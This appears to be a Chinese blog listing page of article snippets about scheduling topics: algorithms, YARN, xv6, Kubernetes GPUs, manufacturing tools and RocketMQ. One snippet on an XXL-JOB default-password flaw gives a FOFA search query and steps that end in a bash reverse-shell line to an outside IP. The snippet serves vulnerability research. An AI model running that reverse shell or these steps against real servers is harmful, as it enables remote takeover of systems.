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7-6 列车调度 (25 分)
本文链接：https://blog.csdn.net/shiliang97/article/details/98481886 7-6 列车调度 (25 分) 火车站的列车调度铁轨的结构如下图所示。 在图中有9趟列车，在入口处按照{8，4，2，5，3，9，1，6，7}的顺序排队等待进入。如果要求它们必须按序号递减的顺序从出口离开，则至少需要多少条平行铁轨用于调度？ 输入样例： 9 8 4 2 5 3 9 1 6 7 输出样例： 4 我和这个大佬?遇到的问题一样，超时了。。。。 7-6 列车调度 (25 分) - mumu - CSDN博客 这个问题分析起来挺简单的。我想的是整一个数组，比前面大的小，就把大的换成这个小的，比前面的大就存到下一个。
1.1K10发布于 2019-11-08 Yarn调度器及生产环境如何使用多队列
(1)hadoop调度器分为三类： FIFO、Capacity Scheduler(容量调度器)和Fair Sceduler(公平调度器) Apache默认的资源调度器是容量调度器； CDH默认的资源调度器是公平调度器 ; (2)区别 FIFO调度器:支持单队列,先进先出，生产环境不会用； 容量调度器:支持多队列，保证先进入的任务有限执行； 公平调度器:支持多队列,保证每个任务公平享有队列资源，资源不够时可以按照缺额分配 (3)在生产环境下如何选择？ 大厂：如果对并发度要求比较高，选择公平，要求服务器性能必须OK； 中小公司，集群服务器资源不太充裕选择容量。 (4)在生产环境怎么创建队列？ 调度器默认就1个default队列，不能满足生产要求； 按照框架:hive/spark/flink每个框架的任务方队指定的队列(企业用的不是特别多) 按照业务模块:登录注册、购物车、下单、业务部门1
11610编辑于 2025-12-23- 来自专栏iSharkFly
Confluence 6 生产环境备份策略 原
一旦你的 Confluence 安装实例中超过了上千的页面，相对数据库自带的数据备份来说，XML 的备份方案就显得没有那么有效了。XML 的备份方法需要占用服务器的大量内存来运行，同时在恢复的时候也比较容易失败。
51320发布于 2019-01-31 - 来自专栏计算机学习
xv6(16) 进程二:调度算法
进程二:调度算法 调度是操作系统里面一个很重要的概念，进程中有调度，页面置换有调度，磁盘访问也有调度，本文讲述的是进程之间的调度，以及多处理器之间的调度策略。 调度算法 先来先服务 维护一个队列，按照进程/作业进入队列的先后次序调度，先进入先调度，后进入后调度。 /进程调度。 抢占式：处理器分配给队列中某优先级最高的进程后，在执行的过程中如果来了一个优先级更高的进程，调度程序则停止当前进程的执行转去调度新来的那个优先级更高的进程。 队列之间的调度相互独立，可不再使用锁机制，可扩展性增强，比如每个队列可使用不同的调度算法。 所有的任务工作都能在固定的 CPU 上执行，能够很好的利用缓存数据。
75310编辑于 2023-12-07 - 来自专栏云技术与
Kubernetes GPU 调度完全指南：从入门到生产实践
在 AI 大模型训练、推理场景爆发式增长的今天，如何在 Kubernetes 集群中高效调度 GPU 资源，已成为云原生领域的关键技术。本文系统梳理 K8s GPU 调度的核心方案与最佳实践。 ━━━━━━━━━━━ 四、方案选型对比 【原生 Device Plugin】 适用：小规模 GPU 集群 特点：轻量、简单，无共享能力 【NVIDIA GPU Operator】 适用：企业级生产环境 特点：自动驱动安装、MIG 支持、完整监控 【Volcano 调度器】 适用：大规模 AI 训练平台 特点：队列调度、Gang Scheduling、任务优先级 ━━━━━━━━━━━━━━ 五 、生产环境最佳实践 1. #Kubernetes #GPU #云原生 #AI基础设施 #容器调度
40110编辑于 2026-03-31 数字化生产调度工具：提升生产效率与车间任务协作的关键技术
随着全球制造业的不断升级和市场竞争的激烈，生产调度在现代制造业中扮演着越来越重要的角色。传统的生产调度方式已经无法满足日益复杂的生产需求，数字化生产调度工具应运而生。 本文将深入探讨数字化生产调度工具的核心技术，介绍如何通过这些工具提升生产效率，并解读它们在实际应用中的优势。一、数字化生产调度的重要性与挑战1. 三、常见数字化生产调度工具与应用场景1. 板栗看板适配场景： 任务协作、资源调度、生产管理板栗看板是一款广泛应用于生产调度与任务管理的工具。它通过可视化看板帮助团队管理任务流、调度资源并追踪生产进度。 FactoryMaster适配场景： 生产调度、车间任务管理、生产线监控FactoryMaster专注于车间生产调度与监控，集成了任务管理、生产线监控、实时调度功能。 四、如何选择适合的数字化生产调度工具？1. 明确企业需求企业需要根据自身的生产规模、生产工艺、资源配置等特点，选择合适的生产调度工具。
39510编辑于 2025-08-05- 来自专栏SAP最佳业务实践
SAP最佳业务实践:生产订单拆分-按库存生产(248)-6生产订单结算
一般工厂期末结算(181)（可选） 在此活动中，执行工厂的期末财务会计核算活动。 作为月末结算的一部分集中执行这些活动。有关月末结算过程的更多信息，请参阅期末结算“一般”工厂的业务流程文档。 请注意，
1.1K60发布于 2018-03-27 - 来自专栏精益六西格玛资讯
6个工具，搞定生产现场管理和改善！
近期，收到很多留言问：哪些工具方法可以助力生产现场管理和改善？本文，简析如下：1、5W2H法。是一种综合分析的方法，适用于解决问题。什么事情（What）？什么地方（Where）？什么时间（What）？ 6、5S管理。5S是整理、整顿、清扫、清洁、素养的简称。5S活动是一项基本活动，是现场一切活动的基础。 7、现场异常处理“三即三现”，现场发现问题时，一旦发现问题应：● 立即赶往现场● 即时了解现场（从而切中要害，产生解决问题的对策)● 即刻处理现况目的是帮助生产现场的管理者，端正正确的管理作风，准确把握问题
79630编辑于 2023-02-02 - 来自专栏OneMoreThink的专栏
漏洞研究(6)：XXL-JOB调度中心默认口令漏洞
组件介绍 XXL-JOB是一个分布式任务调度平台，分为调度中心和执行器两部分。 在调度中心添加执行器后，调度中心可以对执行器进行命令执行，属于集权系统，可以帮助攻击者批量获取服务器权限。 如果默认口令未修改，攻击者就能登录调度中心，与执行器进行调度通信，对执行器所在的服务器进行任意命令执行，从而获得执行器所在服务器的权限。 3. 利用方式 FOFA： app="XXL-JOB" || title="任务调度中心" 4.1 Shell脚本 适用于执行器所在服务器的操作系统是具有Shell环境的Linux。 GLUE(Shell IDE) 6. 【编写EXP代码】 1. bash -i >& /dev/tcp/10.58.81.119/1234 0>&1 7. 保存 8. 源码备注 9. 保存 10. 执行一次 6. 保存 4.1.4 查看日志 1. 任务管理 2. 【选择对应执行器】 3. 【选择对应任务】 4. 操作 5. 查询日志 6. 【选择对应日志】 7. 操作 8.
2K01编辑于 2025-05-13 - 来自专栏iSharkFly
Confluence 6 确定一个生产系统备份方案
为了避免数据不完整和备份中断，我们推荐你在备份和恢复 Confluence 数据库的时候关闭 Confluence 实例。
49220发布于 2019-01-31 - 来自专栏RocketMQ原理与应用
RocketMQ实战—6.生产优化及运维方案
集群如何进行权限机制的控制2.如何对RocketMQ集群进行消息堆积的追踪3.如何处理RocketMQ的百万消息积压问题4.针对RocketMQ集群崩溃的金融级高可用方案5.为RocketMQ增加消息限流功能保证其高可用6. 步骤四：最后在生产者和消费者中，指定分配到的RocketMQ账号。这样，当生产者或消费者使用一个账号时，就只能访问有权限的Topic。 生产者负责不停地把消息写入RocketMQ里，然后消费者负责从RocketMQ里消费消息。这个系统运行时是有高峰期和低谷期的，在晚上几个小时的高峰期内，大概会有100多万条消息进入RocketMQ。 然后生产者在晚上几个小时的高峰期内，往RocketMQ写入了100多万条消息，这些消息都被积压了。处理这种紧急的线上事故，一般有如下几种方案。 6.从Kafka迁移到RocketMQ的双写双读方案假设系统原来使用的MQ是Kafka，现在要从Kafka迁移到RocketMQ，那么这个迁移过程应该怎么做？
50410编辑于 2025-04-15 - 来自专栏JavaEdge
Spring6.x对调度和异步执行的注解支持
Spring为任务调度和异步方法执行提供注解支持。 确保在运行时不初始化同一 @Scheduled 注解类的多个实例,除非你确实希望调度回调到每个这样的实例。 FAQ 问题 生产用@Scheduled注解写定时任务，5min执行一次： @Scheduled(cron = "0 0/5 * * * ?")
47810编辑于 2023-11-24 生产计划、排产调度、现场管控、质量管理怎么做？一文看懂生产全流程管理
生产计划、排产调度、现场管控与质量管理，这几大环节紧密咬合，如同精密机械的齿轮，协同运转，共同决定着企业的生产效率、产品质量以及成本控制水平，进而深刻影响企业的市场竞争力与可持续发展能力。 二、排产调度：动态优化，高效执行排产调度的有效实施，需要紧密结合需求分析、资源统筹以及动态调整等核心环节。以下是基于众多行业实践经验所总结提炼出的关键步骤与方法。 瓶颈优先：在排产调度过程中，优先考虑关键设备与工序的任务安排。例如在半导体行业，光刻机作为核心设备，其排程直接影响整个生产流程的效率，因此需重点保障其高效运行。 排产调度实施步骤需求分析与优先级排序：订单分类按照客户等级（如采用 ABC 分类法）、交货期紧急度、利润率等多个维度，对订单进行细致分类，从而明确不同订单的优先级。 资源能力评估设备产能精确计算设备的标准工时，例如汽车生产线通过精准测定节拍时间，来合理安排生产任务，提高生产效率。
1.2K10编辑于 2025-07-04- 来自专栏千里行走
rocketmq-6：golang实现的生产可用rocketmq-exporter
2.不同开发语言的资源占用对比 (4).如何编译 1.安装go包依赖管理工具govendor 2.使用govendor下载包依赖 3.编译RocketmqExporter (5).相关编译文件说明 (6) 2.不同开发语言的资源占用对比 关于镜像大小与实际资源占用的生产对比。 语言 K8S生产资源分配 image大小 备注 java cpu:100m, memory:1G。 =", "path": "github.com/beorn7/perks/quantile", "revision": "37c8de3658fcb183f997c4e13e8337516ab753e6" 建议值："rocketmq" (8).如何结合prometheus与grafana 笔者提供生产级容器化结合方式。 具体实施步骤和相关生产拓扑描述参见文章： grafana&prometheus生产级容器化监控-1：生产级容器化 主要资源位置： grafana消息堆积数dashboard位于： https://github.com
5.2K21发布于 2019-11-08 星图易码SCADA助力某大型燃气集团实现智能化生产调度升级
随着业务规模扩大，传统人工调度模式面临严峻挑战：场站分散导致数据采集滞后、应急响应效率低、缺乏统一监控平台，难以满足安全高效运营需求。 集团亟需一套智能化SCADA生产调度系统，实现全域数据实时监控与科学决策。核心痛点数据孤岛严重：各场站独立运行，数据无法实时汇总，调度中心难以掌握全局状态。 管理效率低下：生产报表依赖手工统计，历史数据分析能力不足，难以优化调度策略。安全风险高：缺乏工业级网络隔离措施，控制系统面临外部攻击威胁。 解决方案基于客户需求，星图易码为其定制了燃气SCADA生产调度系统，以“分布式实时数据库”为核心，构建“监测-分析-决策-控制”一体化平台，覆盖调度中心、有人/无人值守门站及工业监测点。 智能调度决策：基于实时数据与历史趋势分析，自动生成输配计划与泄漏定位策略，调度指令下发效率提升60%。多维度报表体系：自动生成班报、日报、能效分析报表，并与ERP系统无缝对接，助力管理层精准决策。
34810编辑于 2025-10-22- 来自专栏c++与qt学习
MIT 6.S081 教材第七章内容 -- 调度 --下
MIT 6.S081 教材第七章内容 -- 调度 -- 下 引言 MIT 6.S081 2020 操作系统 本文为MIT 6.S081课程第七章教材内容翻译加整理。 调度程序在旧进程的内核栈上执行是不安全的： 其他一些核心可能会唤醒进程并运行它，而在两个不同的核心上使用同一个栈将是一场灾难，因此xv6调度程序在每个CPU上都有一个专用线程（保存寄存器和栈）。 为了说明，让我们考虑一个称为信号量（semaphore）的同步机制，它可以协调生产者和消费者。信号量维护一个计数并提供两个操作。“V”操作（对于生产者）增加计数。 ---- 代码：Pipes 使用睡眠和唤醒来同步生产者和消费者的一个更复杂的例子是xv6的管道实现。我们在第1章中看到了管道接口：写入管道一端的字节被复制到内核缓冲区，然后可以从管道的另一端读取。 等待磁盘I/O时被杀死的进程将不会退出，直到它完成当前系统调用并且usertrap看到killed标志 ---- 真实世界 xv6调度器实现了一个简单的调度策略：它依次运行每个进程。
80931编辑于 2023-10-11 - 来自专栏c++与qt学习
MIT 6.S081 教材第七章内容 -- 调度 -- 上
MIT 6.S081 教材第七章内容 -- 调度 -- 上 引言 MIT 6.S081 2020 操作系统 本文为MIT 6.S081课程第七章教材内容翻译加整理。 ---- XV6线程调度 实现内核中的线程系统存在以下挑战： 第一个是如何实现线程间的切换。这里停止一个线程的运行并启动另一个线程的过程通常被称为线程调度（Scheduling）。 我们将会看到XV6为每个CPU核都创建了一个线程调度器（Scheduler）。 XV6中，一个CPU上运行的内核线程可以直接切换到的是这个CPU对应的调度器线程。 实际上调度器线程的所有内容，包括栈和context，与用户进程不一样，都是在系统启动时就设置好了。如果你查看XV6的start.s文件，你就可以看到为每个CPU核设置好调度器线程。
71031编辑于 2023-10-11 - 来自专栏用户9199536的专栏
C|进程调度|单核CPU调度
CPU调度，决定了CPU执行进程的策略，好的调度policy需要兼顾进程首次被调度的等待时间和进程结束执行的等待时间，因此在算法设计上极其精妙。本章完全Copy自OSTEP，介绍了基础的调度算法。 执行后必须执行到底，无法优化 条件三 假设条件3取消，可以进行Process Switch Shortest Time-to-Completion First （STCF） 每次新job进入，重新进行调度 ，按照剩余时间进行调度（可以看作把job分割） Metric II 首次被调度等待的时间 Round Robin 时间切片，每次切片都轮换所有进程。 ---- 疑惑 首次被调度等待的时间 Round Robin 时间切片，每次都轮换所有进程。
1.6K40发布于 2021-11-22 - 来自专栏DotNet NB && CloudNative
.NET Core.NET5.NET6 开源项目任务调度组件汇总
它是一个功能齐全的开源作业调度系统，从小的应用程序到大型企业系统都可以使用。它可以与任何其他软件系统集成，也可以与任何其他软件系统一起使用。 它提供了简单的操作，如调度/非调度作业、启动/停止/暂停调度程序等。 使用Quartz.NET可以定时轮询数据库同步、定时邮件通知、定时处理数据等。 Quartz.NET允许开发人员根据时间间隔（或天）来调度作业。它实现了作业和触发器的多对多关系，还能把多个作业与不同的触发器关联。 计时器的调度不灵活（只能设置开始时间和重复间隔，不能基于日期、时间等进行设置）。 计时器不使用线程池（每个计时器一个线程）。 view=net-6.0 6、Coravel Coravel 是一个接近零配置的 .NET Core 库，使任务调度、缓存、队列、邮件、事件广播（等等）变得轻而易举！
1.6K10编辑于 2025-01-13 - 来自专栏c++与qt学习
MIT 6.S081 教材第七章内容 -- 调度 -- 中
MIT 6.S081 教材第七章内容 -- 调度 -- 中 引言 MIT 6.S081 2020 操作系统 本文为MIT 6.S081课程第七章教材内容翻译加整理。 coordination: 多任务同步； lost wake-up: 虚假唤醒问题 首先是上节课的回顾： 在XV6中，任何时候调用switch函数都会从一个线程切换到另一个线程，通常是在用户进程的内核线程和调度器线程之间切换 所以过程是这样，一个进程先获取自己的锁，然后调用switch函数切换到调度器线程，调度器线程再释放进程锁。 假设我们在一个只有一个CPU核的机器上，进程P1调用了switch函数将CPU控制转给了调度器线程，调度器线程发现还有一个进程P2的内核线程正在等待被运行，所以调度器线程会切换到运行进程P2。 在XV6中允许这么做是因为，XV6这是个教学用的操作系统，任何与权限相关的内容在XV6中都不存在。
72411编辑于 2023-10-11
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